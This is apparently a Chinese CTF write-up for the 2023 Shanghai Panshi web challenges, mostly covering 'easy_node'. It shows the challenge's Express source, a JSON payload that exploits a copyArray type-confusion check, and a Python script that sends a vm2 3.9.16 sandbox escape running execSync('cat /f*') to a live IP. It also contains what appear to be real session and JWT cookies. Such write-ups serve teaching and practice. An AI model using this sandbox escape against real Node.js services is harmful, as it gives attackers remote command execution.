上海磐石行动-web-2023

参考wp

CookieBack

题目

这题太傻逼了，我以为得需要用这个搜索框来查出一些东西来解题，一直卡在这个思路上面

其实这里说的偷cookie，其实就是把自己的cookie传进去就行了…….

特别的离谱……….

easy_node

这是个nday的题目

访问/src就能拿到源码

const express = require('express');
const app = express();
var bodyParser = require('body-parser')
app.use(bodyParser.json())
const {VM} = require("vm2");
const fs = require("fs");
const session = require("express-session");
const cookieParser = require('cookie-parser');
session_secret = Math.random().toString(36).substr(2);
app.use(cookieParser(session_secret));
app.use(session({ secret: session_secret, resave: true, saveUninitialized: true }))

function copyArray(arr1){
    var arr2 = new Array(arr1.length);
    for (var i=0;i<arr1.length;i++){
        if(arr1[i] instanceof Object){
            arr2[i] = copyArray(arr1[i])
        }else{
            arr2[i] = arr1[i]
        }
    }
    return arr2
}

app.get('/', function (req, res) {
    res.send('see `/src`');
});



app.post('/vm2_tester',function(req,res){
    if(req.body.name) {
        req.session.user = {"username": req.body.name}
        const properties = req.body.properties
        for (let i = 0; i < properties.length; i++) {
            if (properties[i] == 'vm2_tester') {
                res.send('cant set vm2_tester by self')
                return
            }
        }
        req.session.user.properties = copyArray(properties)
        res.send('Success')
    }else {
        res.send("input username")
    }
})


app.post('/vm2',function  (req, res) {

    if(req.session.user && req.session.user.properties) {
        for (var i = 0; i < req.session.user.properties.length; i++)
            if (req.session.user.properties[i] == 'vm2_tester') {
                if (req.body["code"]) {
                    if (/\b(?:function)\b/.test(req.body["code"])) {
                        res.send("define function not allowed")
                        return;
                    }
                    if (/\b(?:getPrototypeOf)\b/.test(req.body["code"])) {
                        res.send("define getPrototypeOf not allowed")
                        return;
                    }
                    const vm = new VM();
                    res.send(vm.run(req.body["code"]))
                    return
                } else{
                    res.send("input code")
                }
            }
    }else{
        res.send("not vm2 tester rights")
    }

})


app.get('/', function (req, res) {
    res.send('see `/src`,use vm2 3.9.16');
});
app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

这里因为给了这个vm2的版本，于是就去google搜索，于是第一个就是

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

这里当时卡住的原因是因为

所以当时就很疑惑，不知道怎么绕过他

然后看到别人给的wp

1	{"name": 123,"properties":{"length": 1,"0":{"0": "vm2_tester","length":1}}}

gpt给出的解释

这里能这样写来绕过是因为

这三个地方的缘故

其实就是跟上面的这个copyArray函数有很大的关系

{"name": 123,"properties":{"length": 1,"0":{"0": "vm2_tester","length":1}}}

就是properties这个key值的长度是1，然后又因为arr1[0]是一个对象，然后满足第一个判断，然后到最后返回的arr2就是{"0":{"0": "vm2_tester","length":1}}这个玩意了

然后req.session.user.properties[i]就等于{"0":{"0": "vm2_tester","length":1}}

这样的话就可以同时解决上面提出的矛盾了主要还是归功于上面的那个copyArray函数了

最后的code代码执行就是前面搜的那篇文章里的内容了

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

然后这里得需要python发包，bp和hackbar不行

import requests

url = 'http://116.236.144.37:26806/vm2'
data = {"code":"eval(\"const stack=()=>{new Error().stack;stack();};err = {};const handler = {getPr\"+\"ototypeOf(target) {(stack)();}};const proxiedErr = new Proxy(err, handler);try {throw proxiedErr;} catch ({constructor: c}) {c.constructor('return process')().mainModule.require('child_process').execSync('cat /f*');}\")"}
headers = {
    "Content-Type": "application/json",
    "Cookie": "rt_web_csrf_token=kOIwOsYocCJkXVKSQmTFWuvDWpVuizhu013Lxk78cg54iyChQBApFDCItboLOJeW; rt_web__jwt_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZDRkMzhkNTVmYTdlZTIxYTgzODQ2MTUyNjg3NWYyMDMiLCJ1c2VybmFtZSI6IjE1Nzk5MDYwODUyIiwiZXhwIjoxNjg0OTMwNTY5LCJlbWFpbCI6IjE0Nzg0NTYzMDlAcXEuY29tIn0.M_dtAsuFk53-OccuslbUMB8s1BgQTF4LnBNp6gYecJ4; connect.sid=s%3AMrWVq2g4AyaXTVVHfmYR-lk66QfcMNuC.2bEPGUZvaMBVCw7UlneXFQjT4t9oTEzCW6x4HkCtHkI·"
}
response = requests.post(url, json=data, headers=headers)
print(response.text)